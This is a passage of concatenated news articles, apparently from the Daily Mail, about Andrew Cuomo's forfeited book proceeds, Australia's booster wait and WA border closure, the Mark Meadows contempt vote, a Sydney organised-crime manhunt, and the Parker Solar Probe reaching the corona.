hypocrisy and duplicity at its worst,' Azzopardi wrote in a statement. Former New York Governor Andrew Cuomo was ordered Tuesday to turn over the proceeds from his pandemic book deal - an estimated $5.1 million - to the state Attorney General's office within the next 30 days, following a probe by a state ethics panel Rich Azzopardi, Cuomo's spokesman, has condemned the decision to force the former governor to hand over the proceeds from his 2020 book, and give the money to the state 'Governor Cuomo received a JCOPE opinion and advice of counsel stating that government resources could not be used - and they weren't - and any staffer who assisted in this project did so on their own time, which was reflected on their timesheets.' Azzopardi pointed out that the commission was now stacked with people appointed by his political enemies. 'If Speaker Heastie, Majority Leader Stewart-Cousins, and Governor Hochul's JCOPE appointees have created a new standard whereby government staffers cannot volunteer their own time for non-governmental purposes, they should all be equally prosecuted under the same standard and be forced to repay the state for volunteer work on their re-election campaigns,' Azzopardi added. The ruling puts state Attorney General Letitia James in the hot seat, after her office's investigative report into a slew of sexual harassment allegations leveled against the then-governor by several current and former staffers forced the disgraced Democrat to resign over the summer. Now, James must determine how to redistribute the book's profits - whether it be to the state, the publisher or some other body. The situation is further complicated by the fact that Cuomo has already placed $1 million of the book's proceeds in a trust for his three daughters and donated another $500,000 to charity. James had announced she would run for governor, but then suspended her campaign, saying she would seek re-election as AG and continue her existing work. The ruling comes as the latest blow to the Cuomo family, following newscaster Chris Cuomo's highly publicized firing from his $6 million-a-year CNN gig earlier this month for helping his brother Andrew battle sexual harassment allegations. Moments before the decision on Tuesday, an attorney for Cuomo announced that his office would be mounting a legal challenge to the panel's order for his client to return the proceeds from the book. Cuomo had touted himself as a hero in regards to his handling of the pandemic despite being embroiled in a scandal over New York's nursing home deaths due to COVID - a number that his administration misrepresented, according to reports. Despite being at the center of several scandals, Cuomo celebrated his 64th birthday on December 6 with daughter Michaela Kennedy-Cuomo at his side - with his other daughters and ex-wife noticeably absent Cuomo posted this photo of his three daughters - Cara, Mariah and Michaela - and his mother, Matilda, on Thanksgiving After analyzing the methods Cuomo used to prepare the tell-all, the ethics agency voted to revoke its prior approval of the book - which allowed the governor to earn outside income from its sales while in office. They concluded that Cuomo violated pledges to not use state resources or government staffers during its preparation. Tuesday's resolution, drafted by McNamara, states that Cuomo now 'lacked the legal authority to engage in outside activity and receive compensation in regard to the book' after JCOPE rescinded its initial approval last month. 'It is ordered that by no later than 30 days from the date of this resolution, Gov. Cuomo pay over to the attorney general of the State of New York an amount equal to the compensation paid to him for his outside activities related to the book,' the panel's resolution states. Cuomo's lawyers vowed to challenge the ruling in the courts. 'JCOPE's actions today are unconstitutional, exceed its own authority and appear to be driven by political interests rather than the facts and the law,' said attorney Jim McGuire, speaking to The New York Times ahead of the ruling. 'Should they seek to enforce this action, we'll see them in court.' Crown Publishing had offered the former governor more than $5 million for the manuscript - a risk at the time considering Cuomo's previous memoir sold fewer than 4,000 hardcover copies. But the then-governor was receiving ample attention from the media over his handling of the pandemic and touted himself as a hero. However, months after the book's October 2020 release, the then-governor found himself at the center of a scandal suggesting that his office deliberately obscured death toll numbers concerning nursing home residents during the pandemic, in an apparent effort to save face politically. An investigation by James' office subsequently found that several top Cuomo aides, at the behest of their boss, were engaged in the months-long effort to overrule and prevent state health officials from releasing the actual number of nursing-home deaths that occurred during the pandemic. Prior to the investigation, Cuomo had been criticized for imposing a state mandate that forced nursing homes to readmit residents who had been infected and hospitalized with COVID-19. Under his rule, they had to take the convalescent patients back, once they recovered were permitted to leave the health centers. State Attorney General Tish James, who previously investigated the then governor in two separate scandals, is currently conducting a separate probe into the controversial book deal Critics of the three-term Democrat, however, argued that the policy had increased the number of virus-related deaths among those residents - a claim that Cuomo's office dismissed as a political play. Then, in July 2020, Cuomo's State Health Department released a fabricated report that suggested the policy was not responsible for an increase. By January this year, James's office had discerned that Cuomo's administration had misrepresented the number of nursing home deaths, undercounting them by several thousand. When confronted with the office's findings, Cuomo eventually conceded that there were falsehoods in the state's report, after reports emerged that his aides had altered the July report to hide the true figure. Cuomo is also under criminal investigation related to an allegation that he groped a former staffer at the governor's mansion in November. It was the most serious among the sexual harassment claims made by 11 women outlined in a report released by James earlier last month. On August 31 it was revealed that the Albany County Sheriff's office had issued subpoenas in the investigation into a criminal complaint filed by the alleged victim, Brittany Commisso, the Times Union reported. Additionally, Cuomo faces criminal probes by the FBI and the Brooklyn US Attorney's office over COVID-19 nursing homes deaths. He denies all the allegations made against him. Cuomo's book deal is being investigated by James's office, the FBI, and the Brooklyn US Attorney's Office. The investigation stems from the state Assembly Judiciary Committee's declaration that Cuomo once again misused government staffers by enlisting them to help prepare the book - a direct contradiction to the then-governor's previous agreement with the ethics committee. Despite being at the center of several scandals, Cuomo celebrated his 64th birthday with daughter Michaela Kennedy-Cuomo at his side on December 6 - with his other daughters and ex-wife noticeably absent. Tax records show that Cuomo already received the bulk of his advance for the book, $3.12 million, in 2020 and was expected to receive an additional $2 million in installments over two years. Crown has since stopped promoting the title following the New York nursing home and sexual harassment scandals. It had also canceled plans for a paperback edition. In April, the former governor said he put $1 million of the proceeds from the book into a trust fund for his three daughters and donated $500,000 to non-profit fundraising affiliate United Way, Spectrum reported. It is not known how Cuomo is going to give back the funds he has already spent. The ethics panel's top staff approved Cuomo's request to write the book in July 2020. However, they did so without the usual vote put to all 14 members ahead of a request by the governor to earn income from a private source, with the deal instead approved by other members of the panel. Cuomo's replacement, Governor Kathy Hochul, appointed a new chairman, Queens-based Attorney Jose Nieves, to oversee the state watchdog's since-completed probe. For the investigation, JCOPE, which oversees ethics and lobbying in the state of New York, elected to enlist an outside law firm to 'conduct an inquiry into the facts, circumstances, policies and practices' over the approval, the Daily News reported. Cuomo's request to write the memoir was approved in the summer of 2020 without having submitted the book contract to the panel. Multiple members of the panel at that time have since resigned. The Cuomo brothers appeared together on CNN often during the pandemic. Both have since become the subject of multiple investigations and scandals Governor Kathy Hochul recently filled in two JCOPE vacancies following acting chair- and Cuomo appointee- James Dering' resignation Cuomo had received permission from state ethics commissioners last year to write his book - under the stipulation that he had to write the book on 'his own time and not on state time,' in accordance with widely observed rules concerning state ethics. The agency also asked that, 'no state property, personnel or other resources' be used during the book's preparation. However, since the organization's approval in July, several of the governor's former and current staffers, including former Secretary to the Governor Melissa DeRosa and the Director of Governor's Offices Stephanie Benton, were unmasked as accomplices in book's production, per several reports. Cuomo claims his aides offered their time voluntarily and denies allegations of impropriety. Governor Hochul, who replaced Cuomo after he resigned, only just recently filled in two JCOPE vacancies following acting chair- and Cuomo appointee- James Dering's resignation in September, appointing Nieves as chairman and Buffalo Attorney Sharon Stern Gerstman as commissioner in October. 'Jose Nieves and Sharon Stern Gerstman are well-respected and talented professionals who will uphold our commitment to open, ethical governing and help to transform not just state government, but more importantly, people's image and perception of their state government,' Hochul said in a statement at the time. Cuomo's book, which was released in October 2020, was tied to the governor's daily COVID-19 briefings in 2020 during the height of the pandemic in New York. He was hailed as a hero during the early days of the COVID outbreak, when New York was the global COVID epicenter, thanks to his matter-of-fact briefings peppered with personal reflections. Nearly nine out of ten Australian adults are banned from getting a Covid booster shot before Christmas as case numbers spiral out of control in NSW. Almost 88 per cent of the adult population is currently blocked by a mandatory five month waiting period between second and third doses, despite the waiting time being slashed to just three months overseas. Even on Christmas Day, 84 per cent will still be blocked from getting the jab, sparking a furious backlash online. It comes as NSW Health predicted up to 25,000 cases a day by the end of January and Australian Medical Association warning the booster rollout isn't up to the job. And for those who are eligible to get the jab, appointments are hard to come by with experts admitting the system is plagued by delays. ABC star Marieke Hardy, who is also unable to get a third Covid dose until February, tweeted on Wednesday: 'This is slightly terrifying.' Nearly nine out of ten Australian adults are banned from getting a Covid booster shot (pictured) before Christmas as case numbers spiral out of control in NSW Despite health officials telling Australians to get their third vaccine shot as soon as possible before Christmas, just 16 per cent of adults will be eligible by December 25. The Australian Technical Advisory Group on Immunisation (ATAGI) has ruled the general population must wait at least five months after their second vaccine dose before they can get their booster shot. That waiting period has already been reduced from an initial six months between second and third jabs, but there are growing calls to reduce it further. On July 15, just 12.5 per cent of the adult population was fully vaxxed, making them eligible for a booster shot from December 15. On July 25, that figure had risen to just 16.3 per cent. But that means the 83.7 per cent not fully vaxxed by July 25 will face Christmas without a top-up jab - and the rules are being rigidly applied at vaccination clinics. On Tuesday, one Sydney man attempted to get a booster jab 13 days early but was repeatedly refused, despite being eligible on December 27, when clinics are closed over Christmas. Now the nation faces a population going to Christmas parties and mixing with families while vulnerable to the new Omicron strain - and often without masks. AMA President Dr Omar Khorshid (pictured right with Prime Minister Scott Morrison) has warned the booster rollout is already falling behind and risking a repeat of mistakes seen overseas where Omicron has spread rapidly If the waiting period is shortened to four months, almost a third of the adult population will be eligible before Christmas. And if the period is brought down to just three months, more than half the nation's adults could get their third jab and enjoy the festive season in safety. On Wednesday, NSW reported 1360 new cases, up from 795 in 24 hours, on the day almost all Covid restrictions were axed in the state despite the new variant's arrival. In Victoria, cases remain around 1,000-1,400 a day but officials are expecting a massive surge if Omicron takes hold. As numbers soar, NSW health minister Brad Hazzard warned locals to brace for up to 25,000 cases a day by the end of January, even with the booster program. NSW health minister Brad Hazzard (pictured) warned locals to brace for up to 25,000 cases a day by the end of January, even with the booster program The third jab rollout has already come under fire from the Australian Medical Association for dragging its heels for the lucky few who are eligible. So far just 771,682 have been given a booster, with the AMA warning it is already falling behind and risking a repeat of mistakes seen overseas where Omicron has spread rapidly. 'GPs and pharmacists are not being properly supported to implement this critical booster program,' AMA President Dr Omar Khorshid said. 'Last week GPs around the country administered about 251,000 vaccine doses, including booster shots. Compare this to mid-October when GPs were administering about 975,000 vaccines doses each week. So far just 771,682 have been given a booster, including Coordinator General of Operation COVID Shield Lieutenant General John Frewen, seen here getting his third dose on Tuesday Poll How long should an adult have to wait between a second vaccine dose and a booster? Six months Five months Three months Get it on demand How long should an adult have to wait between a second vaccine dose and a booster? Six months 93 votes Five months 39 votes Three months 84 votes Get it on demand 72 votes Now share your opinion 'Omicron poses a significant potential risk to the population and appears much more transmissible than previous strains, so we have to pick up the pace to protect the community. 'It is spreading rapidly in countries around the world, and from what we know the only protection we can offer at this stage is extra immunity through a booster dose.' He said government cutbacks were making it hard for doctors to deliver even the limited booster shots they were permitted to give. 'Unless primary care is supported, the booster program will fall further behind, and millions of Australians will be put at greater risk,' he said. ABC star Marieke Hardy (pictured), who is also unable to get a third Covid dose until February, tweeted on Wednesday: 'This is slightly terrifying' 'The return of stringent public health restrictions will once again be inevitable.' There has been a bitter reaction on social media as many - especially younger adults who were last in line for the vaccine - now face anxious months without a booster. ABC identity Marieke Hardy tweeted on Wednesday: 'This is slightly terrifying. 'I'm not due for a booster until February...Are the rest of us double vaxxed and waiting just supposed to stay indoors for the next two months??' One of her followers insisted: 'We should be getting boosters three months after second shot.' But another admitted they had also been turned away while trying to get their booster early: 'I spoke to the chemist yesterday who gave me my second AZ and she said they cant give me the third based on the five month advice.' Almost 88 per cent of the adult population is currently blocked by a mandatory five month waiting period between second and third doses (pictured) Another said: 'Late January for me. I asked if I could bring it forward and was told by my GPs receptionist that they had to adhere to the rules. 'Well, I say change the rules!' Others said they would play safe until the booster was available. 'I will hibernate until middle January before I get my booster,' said one. 'Im feeling all what we went through over the last two year was for naught. 'The neo-cons got their way and will let it rip.' Some said they were prepared to wait it out until they were eligible but were told they couldn't get a confirmed booking at this stage because of stock issues. Some said they were prepared to wait it out until they were eligible but were told they couldn't get a confirmed booking at this stage because of stock issues (pictured, a queue at a pop-up vaccination clinic in Sydney) There has been a bitter reaction on social media (pictured) as many - especially younger adults who were last in line for the vaccine - now face anxious months without a booster 'I tried to book my booster for January as thats when Im eligible - could only put my name down on a waiting list as GP not sure if and when they can get doses.,' tweeted one. 'Currently out of stock.' Many were furious that they had gone with the Astra Zeneca option only for it to have limited resilience against the new strain and they are exposed while they wait to be eligible for the booster. But some were hopeful ATAGI would revise their advice again and bring forward the booster shot eligibility in the face of the Omicron onslaught. 'I got AZ. Week later I couldve got Pfizer,' said one. '12 week wait for second changed to 8. Got mine after 10. Six months for third is now five. 'Ive got a feeling this will change too.' Daily Mail Australia has contacted the Department of Health for comment. The House has voted to hold Donald Trump's White House Chief of Staff Mark Meadows in criminal contempt after he refused to testify on the Capitol riot. After handing over thousands of documents and communications to the House January 6 committee, Meadows abruptly withdrew his cooperation and refused to sit down before the Democrat-led panel for a deposition. The House of Representatives voted 222 to 208, mostly along party lines, to refer Meadows to the Justice Department for criminal contempt charges on Tuesday night. Republican members of the Capitol riot panel Reps. Adam Kinzinger and Liz Cheney voted with Democrats. It comes after Cheney ruled that text messages Meadows received during the siege left 'no doubt that the White House knew exactly what was happening here at the Capitol.' A text from the president's son Don Jr. on the day of the riot urged Meadows: 'He has got to condemn this sh*t ASAP. The Capitol police tweet is not enough.' And another from Fox host Laura Ingraham who begged: 'Mark, the president needs to tell people in the capitol to go home, this is hurting all of us. He is destroying his legacy.' Now Attorney General Merrick Garland will have to decide whether to proceed with those charges, like he did for Trump adviser Steve Bannon last month. The House voted shortly before midnight on Tuesday to hold Mark Meadows in contempt It's a win for Democrats in their quest to find who is responsible for the Capitol riot If Garland moves as swiftly as he did the first time, Meadows could be indicted before February. The House voted to hold Bannon in contempt of Congress on October 21. He was indicted less than a month later on November 15. Eight Republicans joined Democrats in voting for Bannon's charges. The January 6 Committee previously told Meadows he may have violated federal record keeping laws regarding information on his personal cell phone and on email earlier today. Meadows has emerged as a key figure in the investigation with Cheney reading into the record Tuesday three more text messages he received from fellow Republican lawmakers the day of the attack pleading with him to intervene with former President Donald Trump. Additional texts revealed on the House floor Tuesday evening included an unnamed lawmaker sending Meadows an 'aggressive strategy' for overturning election results in battleground states and an exchange with an anonymous Georgia state official. 'It is really bad up here on the Hill,' one wrote him, according to Cheney. 'The president needs to stop this ASAP,' wrote another. 'Fix this now,' wrote a third lawmaker. The House is set to vote to hold former White House chief of staff Mark Meadows in criminal contempt after his failure to provide testimony. A panel report suggests he may have violated federal record keeping laws Rep. Liz Cheney read into the record new texts that GOP lawmakers sent to Trump on Jan. 6 The lawmakers were urging Meadows to intervene with Trump 'Fix this now,' one lawmaker wrote Meadows 'We know that for 187 minutes, President Trump refused to act,' said Cheney. She shared those messages, gleaned from a trove of information the committee obtained from Meadows when he was cooperating and perhaps from other sources, after on Monday night reading pleas from Fox News commentators for Trump to make a public statement urging rioters to get out of the Capitol. More newly-revealed texts brought up during the House's debate over Meadows' contempt charge continued to paint a damning picture of the former chief of staff. Committee member Rep. Zoe Lofgren read a message to Meadows sent by an unnamed Georgia state official on January 2. 'Need to end this call,' the text read. 'I don't think this will be productive for much longer.' In a message read by Adam Schiff, an unknown number commended Meadows on Trump's potential appointment of Jeffrey Clark to head the DOJ - which was derailed by the threat of mass resignations among former Trump officials 'I heard Jeff Clark is getting put in on Monday. That's amazing. It will make a lot of patriots happy, and I'm personally so proud that you are at the tip of the spear, and I could call you a friend,' the text read. A message from an unnamed lawmaker dated November 4, 2020 described an 'aggressive strategy' to force certain battleground states to send electors appointed by their Republican legislatures - before the races in those states were even called. 'HERE's an AGGRESSIVE STRATEGY: One day after the election. Why can't the states of [Georgia, North Carolina, Pennsylvania] and other [Republican] controlled state houses declare this is BS just send their own electors to vote and have it go to the SCOTUS?' A January 3 text from Meadows to an unnamed lawmaker read, 'He thinks the legislatures have the power but that the Vp has power too.' Additional text messages were revealed on the House floor as Democrats and Republicans debated the contempt charge In a 51-page report on holding Meadows in contempt for his failure to testify to the panel, the committee says Meadows has 'frustrated' its efforts to 'locate and discover highly relevant documents, even while turning over thousands of other documents. 'Based on Mr. Meadowss production of documents and recently reported information, it appears that Mr. Meadows may not have complied with legal requirements to retain or archive documents under the Presidential Records Act,' according to the report. 'He has denied the Select Committee the opportunity to question him about these circumstances so that the Select Committee can fully understand the location of highly relevant materials to its investigation and which materials may now be lost to the historical record.' Rep. Liz Cheney (R-Wyo.) read aloud a series of tweets people sent to former White House Chief of Staff Mark Meadows amid the Capitol riot. Many asked him to get to Trump urging him to take action Lawmakers debated Meadows' conduct during a House Rules Committee markup Tuesday A Jan. 6th committee report references Meadows' Gmail and cell phone use Punchbowl reporter Jake Sherman revealed some of the texts Cheney read aloud were from him By publicly revealing pleading texts sent to Meadows, Cheney may be signaling that the panel may have found a way to get some of the information anyway. It has previously subpoenaed communications companies. The report also states that panel chair Rep. Bennie Thompson, in a letter to Meadows lawyer George Terwilliger III, asked the lawyer to 'identify for the Select Committee the current location of Mr. Meadowss cell phone and whether Mr. Meadows provided his texts and other relevant cell phone records to the National Archives.' The push for the information comes as Meadows is citing a claim of executive privilege by former President Donald Trump as a reason for holding back and refusing to appear. The texts highlighted actions Meadows had with elected officials and private individuals that would not be subject to a privilege claim. But if the work he performed was official, even if he did it on a personal phone or private email account, federal records laws require him to turn it over to the National Archives the repository for a trove of other information the panel is seeking to obtain. Meadows' personal devices have shown up in several areas amid Trump election overturn effort. One involved his and Trump's contacts with state election officials in Georgia, where Trump was claiming election fraud. 'Mr. Meadows used a personal account in his attempts to reach the secretary of state before,' the committee wrote, citing its documents. The committee, again citing documents on file, says Meadows 'used his personal cell phone to discuss the rally in the days leading up to January 6.' Another Meadows lawyer, Michael Francisco produced 2,300 text messages from data backed up on Meadows' personal cell, according to the report, while also handing over a 'privilege log' stating Meadows was holding back more than 1,000 additional texts 'from his personal cell phone due to claims claims of executive, marital, and other protective privileges' an indication he was using the phone for official communications were covered by an executive privilege that a president can assert. The panel cites Meadows' use of a pair of Gmail accounts as among the topics they would have questioned him about had he appeared. 'We wouldve asked him how and for what purpose he used those Gmail accounts and when he used one of them as opposed to his official White House email account. We wouldve similarly asked him about his use of a personal cellular telephone,' the committee wrote. Cheney referenced Meadows' texts repeatedly during a hearing Tuesday at the House Rules Committee. She said he 'appears to have been texting at least one other participant on the call' when Trump phoned Georgia Secretary of State Brad Raffensperger to push him to 'find' 11,800 votes. She also pointed to his texts around another area of the inquiry: Trump's potential move to designate DOJ official Jeffrey Clark as Attorney General. Meadows 'was communicating multiple times with a member of Congress, a currently serving colleagues of ours, who was working with Mr. Clark,' she said. The report itself references 'texts in December of 2020 regarding the prospect of the Presidents appointment of Jeffrey Clark as Acting Attorney General.' Meanwhile, Punchbowl DC reporter Jake Sherman tweeted Tuesday that he had been the author of some of the texts read aloud last night by Cheney. From a secure location in the Capitol amid the riot, Sherman contacted Meadows with his own pleas for assistance. 'We are under siege,' he wrote in one. 'There's an armed standoff at the house chamber door,' he wrote in another. 'We're all helpless.' Cheney, the select committee's vice chair, read a number of text messages from political and journalistic heavyweights which 'leave no doubt that the White House knew exactly what was happening here at the Capitol.' '[President Trump] has got to condemn this sh*t ASAP. The Capitol police tweet is not enough,' Don Jr. texted Meadows. Donald Trump (pictured in the East Room of the White House in July 2020) held a rally at the Capitol which descended into a deadly riot on January 6 Don Jr. and Fox host Laura Ingraham sent desperate messages to Meadows urging him to get a grip of the chaos at the Capitol Rep. Adam Schiff read a number of lawmaker texts to Mark Meadows in advance of Monday's contempt of Congress vote Meadows replied to the president's son: 'I'm pushing it hard, I agree.' 'Donald Trump Jr. texted again and again urging action by the president, "We need an Oval Office address. He needs to lead now. It has gone too far and gotten out of hand,"' Cheney told the committee. Laura Ingraham messaged: 'Mark, the president needs to tell people in the capitol to go home, this is hurting all of us. He is destroying his legacy.' 'Please get him on TV. Destroying everything you have accomplished,' Brian Kilmeade wrote to Meadows. Sean Hannity advised: 'Can he make a statement? Ask people to leave the capitol.' Manhunt underway for prominent rapper and his 'obese' friend over alleged links to notorious Sydney underworld network Manhunt launched for two senior members of the Alameddine crime network Masood Zakaria, 26, and Ali Younes, 24, wanted over alleged organised crime Police believe they are actively trying to evade police and may flee the country A manhunt is underway for a prominent rapper and his 'obese' friend who are allegedly high ranking organised crime members. Ali Younes, 24, also known by his rapper alias Ay Huncho, is officially wanted by NSW Police, along with Masood Zakaria, 26, over alleged links to the Alameddine crime family. Police say both men are involved in organised crime, describing them as 'lieutenants' who recruited and directed members. Mr Zakaria failed to comply with serious crime prevention orders on Tuesday night that require him to report to police. Mr Younes is 'wanted in connection with directing a criminal group'. Police are searching for Ali Younes - also known as the rapper 'Ay Huncho' - who is on the run Masood Zakaria, 26, (left) and Ali Younes, 24, (right) are wanted by police over their alleged involvement in organised criminal activity NSW Police Assistant Commissioner Stuart Smith says outlaw motorcycle gangs were targeting young recruits, who were being 'groomed' through 'rapper music'. 'They want to be part of something, they want to belong to something, and they're basically groomed by the syndicate to carry out public place shootings, violent crime, murder. 'We believe there are more than seven murders linked to the activity of this group,' Mr Smith says. Strike Force Hawk was set up in March to target organised crime and public place shootings which continued throughout 2021. It's particularly focused on conflict between the Hamze and Alameddine families and Mr Smith says the two groups have more than 310 active members. Police have been cracking down on alleged gang members, conducting more than 3800 visits to homes as well as having 'raided them over and over again'. 'We've applied significant pressure... I think the pressure is getting to them,' Mr Smith says. 'Obviously, evidence of these two people taking flight. I think we can take comfort in the fact that I think this group is now breaking up.' Advertisement A NASA spacecraft has officially 'touched' the sun, after it plunged through the unexplored solar atmosphere known as the corona, passing just eight million miles from the core of the star. NASA's Parker Solar Probe battled temperatures of 2370F and radiation 500 times stronger than on Earth as it made its eighth approach to the celestial body, finally passing through its upper atmosphere. The flight occurred in April but scientists have only just been able to confirm the probe traveled through the corona, after waiting months for the data to arrive back from the spacecraft. 'Parker Solar Probe 'touching the Sun' is a monumental moment for solar science and a truly remarkable feat,' said Thomas Zurbuchen, the associate administrator for NASA's Science Mission Directorate, in a statement at a meeting of the American Geophysical Union. 'Not only does this milestone provide us with deeper insights into our Sun's evolution and (its) impacts on our solar system, but everything we learn about our own star also teaches us more about stars in the rest of the universe.' New research gathered from the solar milestone, which cost NASA $1.5billion, has now been included in the Physical Review Letters. 'Fascinatingly exciting,' said project scientist Nour Raouafi of Johns Hopkins University. A picture provided by NASA shows an artist's rendering of the Parker Solar Probe approaching the Sun. On Tuesday, Dec. 14, 2021, NASA announced that the spacecraft has plunged through the unexplored solar atmosphere known as the corona in April, and will keep drawing ever closer to the sun and diving deeper into the corona As Parker Solar Probe travelled through the corona on its eight attempt, the spacecraft flew by structures called coronal streamers (pictured). These streamers can be seen as bright features moving upward in the set of pictures in the front row and angled downward in the bottom row. Such a view is only possible due to the spacecraft's ability to go above and below the streamers inside the corona. Until now, streamers have only been seen from afar. They are visible from Earth during total solar eclipses. This handout photograph courtesy of NASA shows the United Launch Alliance Delta IV Heavy rocket launching NASA's Parker Solar Probe to touch the Sun, Sunday, August 12, 2018 from Launch Complex 37 at Cape Canaveral Air Force Station, Florida. - NASA launched a $1.5 billion spacecraft toward the Sun on a historic mission to protect the Earth by unveiling the mysteries of dangerous solar storms Sun: The basics The sun is the star at the heart of the Solar System, a nearly perfect sphere of hot plasma, radiating energy. It has a diameter of 1.39 million km, and is 330 times the mass of the Earth. Three quarters of the star is made of hydrogen, followed by helium, oxygen, carbon, neon and iron. It is a G-type main sequence star and is sometimes called a yellow dwarf. The Sun formed from the gravitational collapse of matter in a large molecular cloud that gathered in the centre. The rest flattened into an orbiting disc that formed everything else. Facts and Figures Name: Sun Known planets: Eight Spectral type: G2 Distance from galactic centre: 2.710^17 km Mass: 1.988510^30 kg Radius: 696,342 km Luminosity: 3.82810^26 W Temperature: 9,929 F Age: 4.6 billion years Advertisement Launched in 2018, the probe was named after American solar astrophysicist Eugene Parker, who created a theory of a supersonic solar wind, increased our understanding of the sun's corona and of magnetic fields. The probe that carries his name was built to answer fundamental questions about the solar wind that is released from the corona, flinging energetic particles across the solar system. The space craft was eight million miles from the centre of the sun when it first crossed the jagged, uneven boundary between the solar atmosphere and outgoing solar wind. The spacecraft dipped in and out of the corona at least three times, and each of those 'dips' was a smooth transition, according to scientists working on data from the probe. 'The first and most dramatic time we were below for about five hours... Now you might think five hours, that doesn't sound big,' the University of Michigan's Justin Kasper told reporters. But he noted that Parker was moving so fast it covered a vast distance during that time, tearing along at more than 62 miles (100 kilometers) per second. Due to the sun's lack of a solid surface, the corona is where the action is; exploring this magnetically intense region up close can help scientists better understand solar outbursts that can interfere with life here on Earth. The corona has a superheated atmosphere, made of solar material bound to the sun by gravity and magnetic forces, according to NASA. And as rising heat and pressure push the material away fromt he sun, it reaches a point where gravity and magnetic fields are too weak to contain it - marking the end of the solar atmosphere and start of solar wind. These winds drag the magnetic field of the Sun with it as it races across the solar system, to Earth and beyond. Until now, researchers were unsure exactly where the critical surface lay, putting it up to 20 times the size of the sun beyond the surface - or up to 8.6 million miles. However, as Parker gets closer to the sun during its spiral trajectory, solar physicists are able to learn more, and found that these estimates were correct. 'We were fully expecting that, sooner or later, we would encounter the corona for at least a short duration of time,' said Justin Kasper, lead author on a new paper about the milestone published in Physical Review Letters. 'But it is very exciting that we've already reached it.' The corona appeared dustier than expected, according to Raouafi. Future coronal excursions will help scientist better understand the origin of the solar wind, he said, and how it is heated and accelerated out into space. It has spikes and valleys that wrinkle the surface. Discovering where these protrusions line up with solar activity coming from the surface can help scientists learn how events on the sun affect the atmosphere and solar wind. The closest point to the surface came when Parker was just 6.5 million miles away, where it moved into a feature of the corona known as a pseudostreamer. Pseudostreamers are massive structures that rise above the sun's surface and can be seen from Earth during solar eclipses - and passing through them is like flying into the eye of a storm, NASA explained. 'Inside the pseudostreamer, the conditions quieted, particles slowed, and number of switchbacks dropped a dramatic change from the busy barrage of particles the spacecraft usually encounters in the solar wind.' As Parker Solar Probe approaches closer to the Sun, it's crossing into unexplored territory and making new discoveries. This image represents Parker Solar Probe's distances from the Sun for some of these milestones and discoveries It took seven orbits around Venus for Parker to finally get close to the sun's surface in April. New discoveries on the sun's upper atmosphere, also known as the corona, will better explain the origins of the solar wind and its flares This is the first time a human-made spacecraft has found itself embroiled up in a region of the sun where the magnetic fields were strong enough to dominate the movement of particles. This first passage into the corona, lasting a few hours, is one of a number planned for the Parker probe. It will eventually spiral closer to the sun, reaching a point just 3.83 million miles from the surface. Its next visit to the corona will be in January 2022, according to the NASA astronomers. 'I'm excited to see what Parker finds as it repeatedly passes through the corona in the years to come,' said Nicola Fox, division director for the Heliophysics Division at NASA Headquarters. 'The opportunity for new discoveries is boundless.' 'It is a really important region to get into because we think all sorts of physics potentially turn on,' Kasper said. 'And now we're getting into that region and hopefully going to start seeing some of these physics and behaviors.' Preliminary data suggest Parker also dipped into the corona during its ninth close approach in August, but scientists said more analyses are needed. It made its 10th close approach last month. Parker will keep drawing ever closer to the sun and diving deeper into the corona until its grand finale orbit in 2025. The latest findings were also published by the American Physical Society. Mark McGowan has slammed Western Australia's borders shut to all New South Wales residents, even those visiting dying relatives, as he takes the extraordinary step of declaring the state an 'extreme' Covid risk jurisdiction. The premier upgraded WA's border control stance on Wednesday afternoon as NSW's case numbers continue to climb, including more than 100 cases of the new Omicron variant. Under the 'extreme risk' criteria, travellers from NSW will not even be able to enter WA for compassionate reasons and exemptions will only be granted to certain government and specialist workers. The measure will come into effect from midnight Saturday, hampering travel plans for Australians hoping to spend Christmas on the west coast. NSW recorded 1,360 new Covid cases on Wednesday - the highest daily figure since September - as eased restrictions and end-of-year celebrations fuel a surge in infections. Premier Mark McGowan (pictured) has announced WA will close its borders to all NSW residents from 12.01am Saturday Poll HAS MARK MCGOWAN GONE TOO FAR? Yes - it's cruel No - he's keeping WA safe HAS MARK MCGOWAN GONE TOO FAR? Yes - it's cruel 623 votes No - he's keeping WA safe 302 votes Now share your opinion Announcing the decision, Mr McGowan said the situation in NSW 'is very concerning' and tightening the border was necessary to protect Western Australians. 'The NSW Government has eased restrictions on the unvaccinated, and their Health Minister is now predicting 25,000 cases per day by the end of January,' he wrote on Twitter. 'Ahead of our safe transition, we need to do everything we can to protect our State, while we continue to get Western Australians vaccinated. 'Based on the latest health advice, New South Wales will be elevated to an "extreme" risk category from 12.01am Saturday.' Western Australia's borders are currently closed or heavily restricted to every mainland state or territory. Tasmania is the only region which is exempt from WA's quarantine requirements. However, Mr McGowan this week announced domestic borders will reopen on February 5, when it is anticipated 90 per cent of the state's residents will be fully vaccinated. All travellers from NSW will not be permitted to enter the state, with the exception of certain government and specialty workers. Pictured: Passengers arrive at Perth airport on December 21, 2020 Western Australia's rules for travellers from extreme risk jurisdictions You are not permitted to enter without an approval through G2G Pass. Exemptions are restricted to Commonwealth, State and specialist functions only. If permitted entry, you will be directed to undertake 14 days hotel quarantine at a Government approved quarantine facility at your own expense. Approved travellers must provide proof of a negative COVID-19 PCR test in the 72 hours prior to departure. You must provide proof of being fully vaccinated against COVID-19, if eligible. You will undertake COVID-19 tests on days one, five and 13. You must wear a mask from when you enter WA until you arrive at government approved quarantine facilities. In addition if travelling by air, you must also wear a mask on the flight, and while inside the airport (with some exceptions e.g. children under the age of 12 are not required to wear a mask). Advertisement Outraged Australians slammed the move to lock out NSW, with many accusing the premier of 'overreacting'. 'Keep up the fear mongering. It's really going to help people mentally transition "safely" when we open our borders. You are creating unnecessary anxiety,' one man commented on the Premier's post. 'You are kidding me! You are a joke! This is a total overreaction! As per usual!' another added. 'Go on keep that border closed .. why bother announcing Feb 2022. Its not going to happen,' someone else said. 'Mark fair dinkum mate the case numbers mean s*** and you know it. It is hospitalisation, ventilation and deaths that count. Stop trying to scare everyone; assure the public that vaccination will see them in likely good health when they eventually catch it. We all eventually will,' a fourth wrote. However, others praised the decision, thanking the premier for keeping them 'safe'. The border ban comes just days after Mr McGowan reintroduced two-week quarantine requirements for Queenslanders due to the threat of the Omicron variant, after the Sunshine state reopened to NSW. Outraged Australians have slammed the premier online, labelling the decision an 'over-reaction' Queensland was upgraded from 'very low risk' to a 'low risk' from 12.01am on Monday after it recorded new Covid cases, leaving thousands of holidaymakers out of pocket after being forced to cancel their festive season plans. Darelle Baker, from the Fraser Coast Region, planned to travel to Western Australia over Christmas to visit her daughter, son in law, and meet her four-month-old granddaughter. She said the new rules cost her family $4,500 in flights and ruined their 